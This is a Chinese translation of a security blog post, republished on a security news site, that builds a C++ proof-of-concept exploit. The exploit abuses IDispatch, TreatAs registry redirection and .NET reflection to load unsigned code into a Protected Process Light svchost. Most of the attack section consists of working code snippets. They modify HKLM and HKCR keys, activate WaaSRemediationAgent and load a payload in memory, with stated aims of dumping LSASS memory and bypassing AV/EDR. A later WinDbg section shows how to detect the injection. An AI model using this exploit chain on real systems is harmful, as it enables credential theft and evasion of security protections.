利用 IDispatch 进行被困 COM 对象访问与注入 PPL 进程

admin 2025年3月18日22:58:39评论13 views字数 15446阅读51分29秒阅读模式

【翻译】Abusing IDispatch for Trapped COM Object Access & Injecting into PPL Processes 

引言

在这篇文章中,我探讨了由 James Forshaw 来自 Google Project Zero 识别的一个有趣的漏洞类别,该漏洞与 COM 服务器中的 IDispatch 接口 相关。他的研究突出了某些 COM 服务器,特别是那些实现 IDispatch 接口 的服务器,在进程内允许创建任意对象的漏洞。值得注意的是,每个实现 IDispatch 的 面向对象编程 (OOP) COM 服务器都暴露了创建像 STDFONT 这样的对象的能力,而这些对象从未打算在进程边界安全使用。这为潜在的利用打开了大门,尤其是在与 跨进程 COM 远程交互时。

Forshaw 的工作展示了这些实现中的 安全风险,但没有提供完整的 概念验证 (PoC)。受到他研究的启发,并出于我对 COM 对象利用 的热情,我决定接受挑战并开发一个 C++ 的 功能性 PoC。本博客扩展了 Forshaw 的发现,提供了一个工作 PoC,展示了如何利用这一 COM 特性来 将未签名代码注入到受保护进程轻量级 (PPL) 进程 中,保护机制为 PsProtectedSignerWindows-Light

这个 PoC 演示了该技术如何绕过 受保护进程轻量级 (PPL) 保护,突显了这一漏洞在现实世界中的重大影响。它提供了一种强大的手段来访问关键的受保护进程,例如具有 LSA 保护的 LSASS 或受保护的 AV/EDR

连接本机代码与 .NET 以绕过 PPL

本节剖析了我们利用的核心机制:利用 C++/mscorlib 互操作性劫持 COM 激活,并强制执行任意 .NET 代码,伪装成受信任的进程

从本质上讲,这个利用利用了 Windows 更新医疗服务的 WaaSRemediationAgent COM 服务器——一个作为 svchost.exe 运行的特权组件,位于受 PsProtectedSignerWindows-Light 保护的 PPL 进程中——来加载和执行未签名的 .NET 负载。

利用 IDispatch 进行被困 COM 对象访问与注入 PPL 进程

通过操纵注册表键以启用 DCOM 反射并重定向 COM 激活,我们欺骗系统将一个传统的 COM 类 (StdFont) 视为 .NET System.Object,有效地连接了本机和托管世界。

通过 使用 mscorlib(.NET 运行时库)反射性地加载和执行内存中的 .NET 程序集,同时伪装成一个良性的 COM 操作。这绕过了 PPL 限制,因为 CLR(公共语言运行时)一旦在特权进程中激活,就会固有地信任通过 mscorlib 的反射 API 加载的代码。

在接下来的分析中,我们将探讨:

  1. COM 到 .NET 的重定向:如何通过注册表操作强制 COM 激活 .NET 对象。
  2. mscorlib 作为桥梁:使用 System.Object 和 System.Reflection 加载恶意程序集。
  3. 内存执行:通过直接从 C++ 调用 .NET 方法来避免磁盘写入。
  4. PPL 绕过:为什么 CLR 对 mscorlib 的信任允许未验证的代码在受保护进程中运行。

注册表操作:创建 COM 到 .NET 的重定向

启用 DCOM 反射**

启用注册表键 DCOM 反射,以允许 COM 对象反射性地调用托管代码。这一步骤使 COM 能够识别存在的 .NET 对象并与之交互。

// Code snippet
boolRegistryUtils::SetDcomReflectionEnabled(bool enable){
    HKEY hKey;
    LPCWSTR subKey = L"SOFTWARE\Microsoft\.NETFramework";
    LPCWSTR valueName = L"AllowDCOMReflection";

    LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0nullptr,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
if (result != ERROR_SUCCESS) returnfalse;

    DWORD data = enable ? 1 : 0;
    result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&data), sizeof(data));
    RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}

通过启用此选项,您可以配置 COM 动态定位并通过反射调用托管代码。

启用 OnlyUseLatestCLR**

注册表键 onlyUseLatestCLR 被设置,以确保使用最新版本的 .NET 运行时 (CLR) 来执行托管代码。此步骤在测试阶段尤为重要,因为在尝试使用 .NET v4 运行代码时遇到了问题。最初,该利用依赖于仍然存在于系统上的 .NET v2,但 .NET v4 引入了一些兼容性挑战。

正如 James Forshaw 在他的博客中指出的,.NET COM 对象默认在 v2 框架下运行。然而,从 Windows 10 开始,.NET v2 默认不安装,这在现代环境中运行利用时造成了问题。为了避免这些问题,Forshaw 通过 Windows 组件安装程序 手动安装了 .NET v2。然而,在使用 .NET v4 进行测试时,将注册表键设置为 OnlyUseLatestCLR 确保系统始终使用最新的 CLR (v4),避免了手动安装旧版本 .NET 的需要。

// Code snippet
boolRegistryUtils::SetOnlyUseLatestCLR(bool enable){
    HKEY hKey;
    LPCWSTR subKey = L"SOFTWARE\Microsoft\.NETFramework";
    LPCWSTR valueName = L"OnlyUseLatestCLR";

    LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0nullptr,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
if (result != ERROR_SUCCESS) returnfalse;

    DWORD data = enable ? 1 : 0;
    result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
reinterpret_cast<const BYTE*>(&data), sizeof(data));
    RegCloseKey(hKey);
return result == ERROR_SUCCESS;
}

TreatAs 注册表重定向

TreatAs 注册表键用于将传统 COM 类(例如 StdFont)重定向到 .NET 对象(System.Object)。这种操作使系统将传统的 COM 对象视为 .NET 对象,从而允许在 COM 的上下文中调用该 .NET 对象。然而,在注册表更改生效之前,必须模拟TrustedInstaller,以便能够专门设置 TreatAs 键。

// Code snippet
boolRegistryUtils::SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid){
    WCHAR originalClsidStr[40], newClsidStr[40];
    StringFromGUID2(originalClsid, originalClsidStr, 40);
    StringFromGUID2(newClsid, newClsidStr, 40);

std::wstring keyPath = std::wstring(L"CLSID\") + originalClsidStr + L"\TreatAs";

    HKEY hKey;
    LONG result = RegCreateKeyEx(HKEY_CLASSES_ROOT, keyPath.c_str(), 0nullptr,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
if (result != ERROR_SUCCESS) returnfalse;

// Explicit cast to DWORD
    DWORD dataSize = static_cast<DWORD>((wcslen(newClsidStr) + 1) * sizeof(WCHAR));

    result = RegSetValueEx(hKey, nullptr0, REG_SZ,
reinterpret_cast<const BYTE*>(newClsidStr), dataSize);
    RegCloseKey(hKey);

return result == ERROR_SUCCESS;
}

通过这些注册表操作,COM 调用被重定向到 .NET 对象,从而弥合了本地 COM 环境与托管 .NET 环境之间的差距。

mscorlib 作为桥梁

在进行注册表操作后,利用程序通过激活 COM 对象 WaaSRemediationAgent 并使用 反射 来调用 .NET 运行时中的方法。这种从 COM 到 .NET 的过渡是该利用的核心。

COM 对象激活

调用 CoCreateInstance 函数来创建 WaaSRemediationAgent COM 对象。得益于注册表操作,这次 COM 激活导致创建了一个 .NET 对象。

// Code snippet
HRESULT hr = CoCreateInstance(CLSID_WaaSRemediationAgent, nullptr, CLSCTX_LOCAL_SERVER, IID_IDispatch, reinterpret_cast<void**>(&pWaasAgent));

在我的 PoC 利用中,将 .NET 负载注入 PPL 保护进程(如运行 WaaSRemediationAgent 的 svchost.exe)的核心方法依赖于 COM 类暴露的 IDispatch 接口。该接口是 COM 自动化的一部分,能够对 COM 对象进行动态方法调用。通过利用 IDispatch,攻击能够弥合本地 COM 世界与托管 .NET 世界之间的差距,使我能够将 .NET 代码注入具有 PsProtectedSignerWindows-Light 保护的进程,例如 WaaSRemediationAgent。

当我触发 WaaSRemediationAgent COM 类 的激活时,IDispatch 接口会自动暴露,允许我动态调用 .NET 方法。

获取 WaaSRemediationAgent 的 ITypeInfo

ITypeInfo 接口用于检索 COM 对象的类型信息。这些元数据是使用反射调用 .NET 方法所必需的。

// Code snippet
ITypeInfo* pAgentTypeInfo = nullptr;
hr = pWaasAgent->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pAgentTypeInfo);

为什么是 0?:第一个参数(0)指定了接口索引。索引 0 通常指的是默认接口(IDispatch)。

利用 IDispatch 进行被困 COM 对象访问与注入 PPL 进程

导航到基本接口

获取对第一个实现接口(索引 0)的引用(HREFTYPE)。

// Code snippet
HREFTYPE href = 0;
hr = pAgentTypeInfo->GetRefTypeOfImplType(0, &href);

许多 COM 对象将 IDispatch 实现为其基本接口,我们将在后面利用这一点。

解析基本接口类型信息

// Code snippet
ITypeInfo* pBaseTypeInfo = nullptr;
hr = pAgentTypeInfo->GetRefTypeInfo(href, &pBaseTypeInfo);

将 HREFTYPE 引用转换为可用的 ITypeInfo 指针。此 pBaseTypeInfo 现在描述了 WaaSRemediationAgent 的基本接口(例如,IDispatch)。

定位包含的类型库

查找哪个类型库(“用于 COM 元数据的 DLL”)包含基本接口。

// Some code
COMPtr<ITypeLib> pStdoleTypeLib;
hr = pBaseTypeInfo->GetContainingTypeLib(&pStdoleTypeLib, &indexInTypeLib);

pStdoleTypeLib 通常指向 stdole32.tlb,这是包含标准 COM 定义(如 StdFont)的系统类型库。

通过 GUID 定位 StdFont

检索 CLSID_StdFont 的类型信息(通常是一个遗留的字体 COM 类)。

// Some code
COMPtr<ITypeInfo> pStdFontTypeInfo;
hr = pStdoleTypeLib->GetTypeInfoOfGuid(CLSID_StdFont, &pStdFontTypeInfo);

之前通过 SetTreatAs 进行的注册表修改将此 CLSID 重定向到 .NET 类 (CLSID_DotNetObject)。

COM 到 .NET 对象激活

CreateInstance 通过 COM 激活 .NET System.Object 实例,尽管目标是 CLSID_StdFont。这是由于 TreatAs 注册表重定向到 CLSID_DotNetObject 的原因。

// Some code
mscorlib::_ObjectPtr pStdFontObj;
hr = pStdFontTypeInfo->CreateInstance(
nullptr,
    __uuidof(mscorlib::_Object), // Request .NET Object interface
reinterpret_cast<void**>(&pStdFontObj)
);
mscorlib::_TypePtr pType = pStdFontObj->GetType();
pType = pType->BaseType; // Traverse inheritance hierarchy

__uuidof(mscorlib::_Object) 的 GUID 映射到 .NET 中的 System.Object,允许与托管对象直接交互。

_TypePtr 接口(来自 System.Type)使得对 .NET 类型的反射成为可能。代码导航到 System.Type 本身以准备加载程序集。

在这个阶段,CreateInstance 方法用于动态创建 .NET 对象。这里的关键部分是与 mscorlib 的交互,mscorlib 是核心 .NET 程序集。具体来说,您正在创建一个对应于 System.Type 的对象,这是 .NET 中反射的基础。

通过创建这个对象,我正在设置一个环境,以便从内存中加载和执行 .NET 代码,而不是从磁盘上的文件中加载。

在内存中加载 .NET 程序集

真实的有效载荷是通过反射从文件加载到内存中的。以下是如何从磁盘读取程序集并转换为字节数组,然后可以动态加载:

// Some code
std::ifstream file(dllPath, std::ios::binary);
std::vector<uint8_tbuffer((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());

程序集被转换为字节数组(variant_t),然后传递给 System.Reflection.Assembly.Load。此函数允许您从字节数组动态加载 .NET 程序集,这是一种有效的方式,可以在不接触磁盘的情况下加载未签名的代码。

// Some code
variant_t byteArrayVariant;
byteArrayVariant.vt = VT_ARRAY | VT_UI1;
SAFEARRAY* psa = SafeArrayCreateVector(VT_UI1, 0, buffer.size());
void* pvData;
SafeArrayAccessData(psa, &pvData);
memcpy(pvData, buffer.data(), buffer.size());
SafeArrayUnaccessData(psa);
byteArrayVariant.parray = psa;

反射工作流程

mscorlib::_MethodInfoPtr loadMethod = 
    DotNetInterop::GetStaticMethod(pType, L"Load"1);
mscorlib::_AssemblyPtr assembly = 
    DotNetInterop::ExecuteMethod<mscorlib::_AssemblyPtr>(loadMethod, args);
  • GetStaticMethod:通过反射使用其名称和参数数量检索 Assembly.Load。
  • ExecuteMethod:使用字节数组调用 Load,将 .NET 程序集加载到进程中。

在执行利用时,我使用 System.Reflection.Assembly.LoadFile 而不是 System.Reflection.Assembly.Load 方法将 .NET 程序集加载到内存中,遇到了以下错误:

_com_error::ErrorMessage returned 0x00000235b759bdc0L"Unknown error 0x80131604"

这对应于 HRESULT 错误代码 0x80131604,表示在通过反射调用方法时抛出了未捕获的异常。此错误可以解释为通过反射执行 .NET 方法的失败。

执行恶意代码

一旦程序集加载到内存中,最后一步就是执行有效载荷。您的利用程序会在注入的程序集内查找 Main 方法并通过反射调用它:

// Some code
mscorlib::_MethodInfoPtr mainMethod = DotNetInterop::GetStaticMethod(payloadType, L"Main"0);
DotNetInterop::ExecuteMethod<mscorlib::_ObjectPtr>(mainMethod, mainArgs);

在利用的这个阶段,恶意的 .NET 有效载荷在 svchost 进程的上下文中执行。由于 svchost 运行在 PsProtectedSignerWindows-Light 保护下,这一步骤赋予了恶意代码在 Windows 环境中提升的访问权限。具体来说,它允许代码与 Windows 签名类型下的受保护进程进行交互,这些进程通常对无权限或未签名的代码是禁止访问的。

通过成功将未签名的 .NET 代码注入到具有 Windows 签名的受保护进程轻量级(PPL)中,我们有效地获得了访问高度安全进程的能力,例如 LSASS,甚至可以绕过 AV/EDR 系统实施的保护。

PPL 绕过

在利用的场景中,svchost 进程以 Windows 签名类型(0x51)运行,而 LSASS 进程作为一个关键的安全进程,以 Lsa 签名类型(0x41)运行。尽管 LSASS 具有更高的保护级别,但 Windows 签名类型仍然具有足够的权限访问 LSASS 进程,因为 Windows 是比 Lsa 更高级的签名者。

现在,我们可以利用 svchost 利用程序授予的提升权限来转储 LSASS 进程的内存。这可以通过访问 LSASS 进程的内存区域并读取或转储其内容来完成:

PoC 利用程序期望两个参数:

  • DLL 路径:这应该是您想要加载的 .NET DLL 的完整文件路径。
  • 静态类名称:这是 DLL 中包含公共静态 void Main() 方法的静态类的名称。

此外,根据 Elastic Security Labs 的一篇博客,微软通过在创建映像部分时强制执行 SEC_IMAGE 检查来保护受保护进程轻量级(PPL)。这确保了用于创建映像部分的任何文件的数字签名都经过验证,并且只有签名代码才能加载到 PPL 进程中。然而,直接将程序集分配到内存中的 .NET 反射绕过了这一机制,因为它不创建映像部分或要求文件支持的验证。这就是为什么基于反射的加载可以绕过 SEC_IMAGE 完整性检查,并可能将恶意代码加载到 PPL 进程中而不会触发这些防御。

最后,绕过发生的原因是 .NET 反射(特别是通过 Assembly.Load(byte[]))不创建映像部分。相反,它直接为程序集分配内存,绕过 SEC_IMAGE 完整性检查。这些检查通常在创建映像部分时强制执行,因为它们验证支持该部分的文件的数字签名(通过 NtCreateSection 和 SEC_IMAGE)。由于程序集直接加载到内存中而不是由文件支持,因此没有文件支持的部分可供验证,从而允许有效载荷绕过 PPL 进程中由 SEC_IMAGE 强制执行的代码完整性检查。

轻量级内存分析:深入探讨

在本分析中,我们将探讨如何使用各种 Windows 调试工具(如 WinDbg 和 CLR 调试扩展)检测、追踪和分析加载到 .NET 进程中的恶意程序集。以下步骤强调了我们如何识别可疑活动,定位内存中的 .NET 未签名代码,并调查其潜在行为。

转储整个 AppDomain

!dumpdomain 命令显示当前加载在 PPL svchost 进程上的几个 AppDomains。

0:008> !dumpdomain
--------------------------------------
System Domain:      00007ff86dd55250
LowFrequencyHeap:   00007ff86dd557c8
HighFrequencyHeap:  00007ff86dd55858
StubHeap:           00007ff86dd558e8
Stage:              OPEN
Name:               None
--------------------------------------
Shared Domain:      00007ff86dd54c80
LowFrequencyHeap:   00007ff86dd557c8
HighFrequencyHeap:  00007ff86dd55858
StubHeap:           00007ff86dd558e8
Stage:              OPEN
Name:               None
Assembly:           000001d900c177c0 [C:WindowsMicrosoft.NetassemblyGAC_64mscorlibv4.0_4.0.0.0__b77a5c561934e089mscorlib.dll]
ClassLoader:        000001d900c1f380
  Module Name
00007ff868c21000            C:WindowsMicrosoft.NetassemblyGAC_64mscorlibv4.0_4.0.0.0__b77a5c561934e089mscorlib.dll

--------------------------------------
Domain 1:           000001d900c57010
LowFrequencyHeap:   000001d900c57808
HighFrequencyHeap:  000001d900c57898
StubHeap:           000001d900c57928
Stage:              OPEN
SecurityDescriptor: 000001d900ca29f0
Name:               DefaultDomain
Assembly:           000001d900c177c0 [C:WindowsMicrosoft.NetassemblyGAC_64mscorlibv4.0_4.0.0.0__b77a5c561934e089mscorlib.dll]
ClassLoader:        000001d900c1f380
SecurityDescriptor: 000001d900c1d150
  Module Name
00007ff868c21000            C:WindowsMicrosoft.NetassemblyGAC_64mscorlibv4.0_4.0.0.0__b77a5c561934e089mscorlib.dll

Assembly:           000001d900c18580 [debug, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null]
ClassLoader:        000001d901bdb600
SecurityDescriptor: 000001d901be6470
  Module Name
00007ff80dce4ad8            debug, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null  debug
  • 默认域:

默认域(地址:000001d900c57010)是用户代码和潜在的 .NET 未签名代码加载的地方。在这个域中,除了标准的 mscorlib.dll 程序集外,还有我们关注的:

  • 程序集:Assembly: debug, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
  • 模块名称:debug(加载于 00007ff80dce4ad8)。
  • 这个程序集很不寻常,版本为 0.0.0.0 且没有公钥标记,这对恶意软件或注入代码来说是一个警告信号。

调试日志

通过 System.Reflection.Assembly.Load 方法识别了 .NET 未签名代码,该方法通常用于从字节数组加载程序集。以下是显示基于反射加载的调试堆栈跟踪的一部分:

0:008> !clrstack
OS Thread Id: 0x1d18 OS Thread Id: 0x1d18 (8)
(8)
        Child SP        Child SP                IP              IP  Call SiteCall Site
000000669647dc30 00007ffa975b6baf  System.Reflection.Assembly.Load(Byte[]) System.Reflection.Assembly.Load(Byte[])
000000669647de90 00007ffa98051673  [DebuggerU2MCatchHandlerFrame: 000000669647de90]
000000669647e10800007ffa98051673  [HelperMethodFrame_PROTECTOBJ: 000000669647e108] System.RuntimeMethodHandle.InvokeMethod(System.Object, System.Object[], System.Signature, Boolean)
000000669647e28000007ffa96e2ef68  System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, System.Object[], System.Object[])
000000669647e2e0 00007ffa96e0aa16  System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)

从这个堆栈跟踪中,我们可以看到 System.Reflection.Assembly.Load 函数正在被调用,这是一种常见的从原始字节数组动态加载程序集的技术。

内存分析

通过检查恶意程序集加载的内存区域,我们可以看到:

  • 该内存区域具有 PAGE_READWRITE 保护,这意味着它是可写的,这对于代码段来说是可疑的。
  • 内存区域的大小(136 KB)与小型可执行文件或 DLL 的大小相符。

这种类型的内存分配在无文件攻击中很常见,其中恶意代码不接触磁盘,而是完全驻留在内存中。

内存中发现的 MZ 头表明它是一个可能包含可执行指令的 PE 文件。这个 PE 头的存在进一步表明一个可执行有效载荷在内存中处于活动状态。

加载的恶意程序集的 内存区域详细信息 是:

0:008> !address 0x00000214bec14020
Usage:                  <unknown>
Base Address:           00000214`bec00000
End Address:            00000214`bec22000
Region Size:            00000000`00022000 ( 136.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        00000214`bec00000
Allocation Protect:     00000004          PAGE_READWRITE

基地址是 0x00000214bec00000,区域大小为 136 KB,表明在该内存区域中存在一个 PE 文件。

PAGE_READWRITE 保护的存在表明该内存是可写的,这通常是恶意代码被注入或加载到内存中的典型迹象。

调查恶意程序集

以下是调试日志的一部分,显示了字节数组的对象转储:

0:008> !DumpObj /d 00000214bec14020
Name:        System.Byte[]
MethodTable: 00007ffa96905848
Size:        10264(0x2818) bytes
Array:       Rank 1, Number of elements 10240, Type Byte
Content:     MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......

如观察到的,字节数组包含一个 MZ 头,这是 PE 文件的标志(通常用于 DLL 或 EXE 文件)。这确认了加载的程序集是一个可执行文件。

为了观察注入的 .NET 代码执行期间的 CLR 堆栈跟踪,我使用了 sxe ld clrjit 调试器命令来启用对即时编译器(JIT)的调试。该命令在 Windows 调试器(WinDbg)中用于设置一个断点,每当 clrjit 模块(负责 JIT 编译 .NET 代码)被加载时触发。

0:005> !clrstack
OS Thread Id: 0x23f0 (5)
        Child SP               IP Call Site
0000005faa9fc590 00007ffaea4908c4 [PrestubMethodFrame: 0000005faa9fc590] InjectedPayload..cctor()
0000005faa9fcb98 00007ffaea4908c4 [GCFrame: 0000005faa9fcb98] 
0000005faa9fd720 00007ffaea4908c4 [PrestubMethodFrame: 0000005faa9fd720] InjectedPayload.Main()
0000005faa9fdaf0 00007ffaea4908c4 [DebuggerU2MCatchHandlerFrame: 0000005faa9fdaf0] 
0000005faa9fdd68 00007ffaea4908c4 [HelperMethodFrame_PROTECTOBJ: 0000005faa9fdd68] System.RuntimeMethodHandle.InvokeMethod(System.Object, System.Object[], System.Signature, Boolean)
0000005faa9fdee0 00007ffa96e2ef06 System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, System.Object[], System.Object[])
0000005faa9fdf40 00007ffa96e0aa16 System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo)
0000005faa9fdfc0 00007ffa96e2aee2 System.Reflection.MethodBase.Invoke(System.Object, System.Object[])
0000005faa9fe000 00007ffa97568d8e DomainNeutralILStubClass.IL_STUB_COMtoCLR(System.StubHelpers.NativeVariant, IntPtr, IntPtr)
0000005faa9fe1f0 00007ffa98051859 [ComMethodFrame: 0000005faa9fe1f0]
  • 这显示了在注入有效负载中调用 Main 方法的过程。PrestubMethodFrame 表明 CLR 正在准备调用此方法。这是注入的 .NET 有效负载的入口点,将执行恶意操作。
  • 反射调用:一系列反射(InvokeUnsafeInvokeInternal 等)动态调用方法,这可能包括 COM 到 .NET 的重定向和其他注入操作。
  • COM 到 CLR 的调用
0000005faa9fe000 00007ffa97568d8e DomainNeutralILStubClass.IL_STUB_COMtoCLR(System.StubHelpers.NativeVariant, IntPtr, IntPtr)

这表示一个 COM 到 CLR 的存根方法。L_STUB_COMtoCLR 方法在调用一个内部调用 .NET 代码的 COM 方法时使用。它充当 COM 和 .NET 之间的桥梁,确保参数在这两个环境之间正确传递。

NativeVariant:这是用于处理 COM 数据类型(如 VARIANT)的数据结构,以便 COM 和 .NET 都能理解。IntPtr:这些是用于传递内存地址或引用的指针,可能指向 COM 对象或 .NET 对象。

该日志显示了您的注入有效负载如何与 COM 对象和 .NET 反射机制交互。

这个堆栈跟踪突显了该漏洞如何利用反射、COM 重定向和 CLR 来执行代码,可能与像 LSASS 或其他系统级组件等受保护进程进行交互。

通过仔细分析 WinDbg 调试会话中的堆栈跟踪、内存区域和加载的程序集,我们能够追踪恶意程序集的行为并检测到潜在的无文件攻击。这种方法提供了对高级攻击者如何利用反射直接在内存中执行有效负载的洞察。

结论

在这个概念验证(PoC)中,我演示了如何将代码注入到受保护进程轻量级(PPL)中,利用基于反射的技术和 COM 到 .NET 的重定向来绕过通常在具有 PsProtectedSignerWindows-Light 保护 的 Windows 进程中强制执行的签名检查和安全措施。从 CLR 堆栈跟踪到剖析进程行为的详细内存分析,提供了有关如何操纵注册表项和利用内存分配技术以规避固有保护的宝贵见解。

特别提到 James Forshaw,他的深入研究和对 Windows 内部结构的专业知识在帮助我理解和掌握此漏洞的复杂性方面是无价的。他的工作继续成为学习和灵感的来源。本 PoC 中探讨的许多技术都是基于他出版物和博客文章中的原则。

完整的 C++ PoC 代码将会在我的 GitHub 仓库中提供,供希望探索、学习或进一步开发此概念的人使用。

欢迎深入查看该仓库,了解此漏洞是如何构建的以及应用了哪些技术。您的反馈和贡献始终受到欢迎,因为我们继续探索和保护这些复杂系统。

references

  • https://github.com/T3nb3w/ComDotNetExploit
  • https://googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html
  • https://github.com/tyranid/IE11SandboxEscapes/blob/master/CVE-2014-0257/CVE-2014-0257.cpp

原文始发于微信公众号(securitainment):利用 IDispatch 进行被困 COM 对象访问与注入 PPL 进程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日22:58:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用 IDispatch 进行被困 COM 对象访问与注入 PPL 进程https://cn-sec.com/archives/3813616.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息